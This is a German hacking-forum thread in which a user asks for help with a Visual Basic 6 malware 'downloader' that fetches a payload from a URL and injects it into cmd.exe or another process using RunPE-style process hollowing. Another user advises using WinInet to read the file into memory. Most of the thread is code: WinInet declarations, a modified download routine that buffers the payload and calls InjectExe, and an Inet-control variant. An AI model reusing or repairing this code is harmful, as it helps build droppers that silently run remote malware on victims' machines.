Ergebnis 1 bis 3 von 3
  1. #1
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard [VB6] Injection Help

    Jo hey leute.
    ich bin grad an nem downloader.
    is auch schon fertig (mit runpe) aber das prob is ich schaff es nur den server auf die festplatte zu droppen. also nachdem ich ihn gedroppt hab mit runpe auszuführen. mein code sieht so aus:

    Also das is FWB:
    Code:
    PerformInjecton Environ("windir") & "\system32\cmd.exe", StrConv(cmd2(i), vbFromUnicode)
    Das ging nicht. Dann hab ich das Probiert:

    Code:
    abc(zahl) = OpenURL(cmd2(i))
    das geht aber auch nicht -.-

    hat jemand ne idee?

  2. #2
    is a Grammar Nazi Avatar von Hamtaro
    Registriert seit
    05.06.2007
    Beiträge
    431

    Standard

    PerformInjecton Environ("windir") & "\system32\cmd.exe", StrConv(cmd2(i), vbFromUnicode)

    Du hast noch nicht viel Erfahrung, oder?

    Sieh dir die WinInet apis an, mit InternetReadFile (http://msdn.microsoft.com/en-us/library/aa385103(VS.85).aspx) solltest du die Datei in einen Buffer lesen können, den du dann in den anderen Prozess mappen kannst
    Sunshine, hurricane
    All the highs & lows

  3. #3
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard

    thx und nein hab noch net so viel erfahrung^^
    gucks mir morgen an^^

    EDIT: hmmm bei mir will das i-wie nich klappen -.-
    also ich hab jetzt das CopyURLToFile modifizerit:

    Code:
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
        (ByVal lpszAgent As String, ByVal dwAccessType As Long, _
        ByVal lpszProxyName As String, ByVal lpszProxyBypass As String, _
        ByVal dwFlags As Long) As Long
    Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias _
        "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, _
        ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, _
        ByVal dwFlags As Long, ByVal dwContext As Long) As Long
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As _
        Long) As Integer
    Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As _
        Long, ByVal lpBuffer As String, ByVal dwNumberOfBytesToRead As Long, _
        lNumberOfBytesRead As Long) As Integer
    Dim abc() As Byte
    
    ' Download a file from Internet and save it to a local file
    '
    ' it works with HTTP and FTP, but you must explicitly include
    ' the protocol name in the URL, as in
    '    CopyURLToFile "http://www.vb2themax.com/default.asp", "C:\vb2themax.htm"
    
    Sub CopyURLToFile(ByVal URL As String, ByVal FileName As String)
        Dim hInternetSession As Long
        Dim hUrl As Long
        Dim FileNum As Integer
        Dim ok As Boolean
        Dim NumberOfBytesRead As Long
        Dim Buffer As String
        Dim fileIsOpen As Boolean
    
        On Error GoTo ErrorHandler
    
        ' check obvious syntax errors
        If Len(URL) = 0 Or Len(FileName) = 0 Then Err.Raise 5
    
        ' open an Internet session, and retrieve its handle
        hInternetSession = InternetOpen(App.EXEName, INTERNET_OPEN_TYPE_PRECONFIG, _
            vbNullString, vbNullString, 0)
        If hInternetSession = 0 Then Err.Raise vbObjectError + 1000, , _
            "An error occurred calling InternetOpen function"
    
        ' open the file and retrieve its handle
        hUrl = InternetOpenUrl(hInternetSession, URL, vbNullString, 0, _
            INTERNET_FLAG_EXISTING_CONNECT, 0)
        If hUrl = 0 Then Err.Raise vbObjectError + 1000, , _
            "An error occurred calling InternetOpenUrl function"
    
        ' ensure that there is no local file
        On Error Resume Next
        Kill FileName
    
        On Error GoTo ErrorHandler
        
        ' open the local file
        FileNum = FreeFile
        Open FileName For Binary As FileNum
        fileIsOpen = True
    
        ' prepare the receiving buffer
        Buffer = Space(4096)
        
       'Do
        '    ' read a chunk of the file - returns True if no error
         '   ok = InternetReadFile(hUrl, Buffer, Len(Buffer), NumberOfBytesRead)
    '
     '       ' exit if error or no more data
      '      If NumberOfBytesRead = 0 Or Not ok Then Exit Do
            
       '     ' save the data to the local file
        '    Put #FileNum, , Left$(Buffer, NumberOfBytesRead)
        'Loop
        
        ' flow into the error handler
        Do
            ' read a chunk of the file - returns True if no error
            ok = InternetReadFile(hUrl, Buffer, Len(Buffer), NumberOfBytesRead)
    
            ' exit if error or no more data
            If NumberOfBytesRead = 0 Or Not ok Then Exit Do
            
            ' save the data to the local file
            Buffer = Buffer & Left$(Buffer, NumberOfBytesRead)
    
            abc = Buffer
            MsgBox abc
        Loop
        InjectExe Environ("windir") & "\system32\cmd.exe", abc
    aber das klappt i-wie immer noch nich.
    beim inject kommt einfach nichts. es wird auch kein prozess erstellt...

    EDIT: Jetzt hab ich's so probiert:

    Code:
       Dim b() As Byte
    Inet1.AccessType = icUseDefault
       Dim strURL As String
    
       ' Presuming this is still a valid URL.
       strURL = "URL"
    
       ' Retrieve the file as a byte array.
       b() = Inet1.OpenURL(strURL, icByteArray)
       
       sleep 5000
    InjectExe "C:\Users\hackerking\Desktop\a.exe", b()
       MsgBox "Injected"
    die datei is 20 kb.. also alles wird richtig gedownloaded. und wenn es dann mach das er die variable b() in ne datei klappt funktioniert das auch perfekt. nur eben injecten klappt nich. wenn ich injecte passiert nichts. der przess a.exe wird auch nicht gestARTET -.- pls helüp
    Geändert von hackerking (15.02.2009 um 12:10 Uhr)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •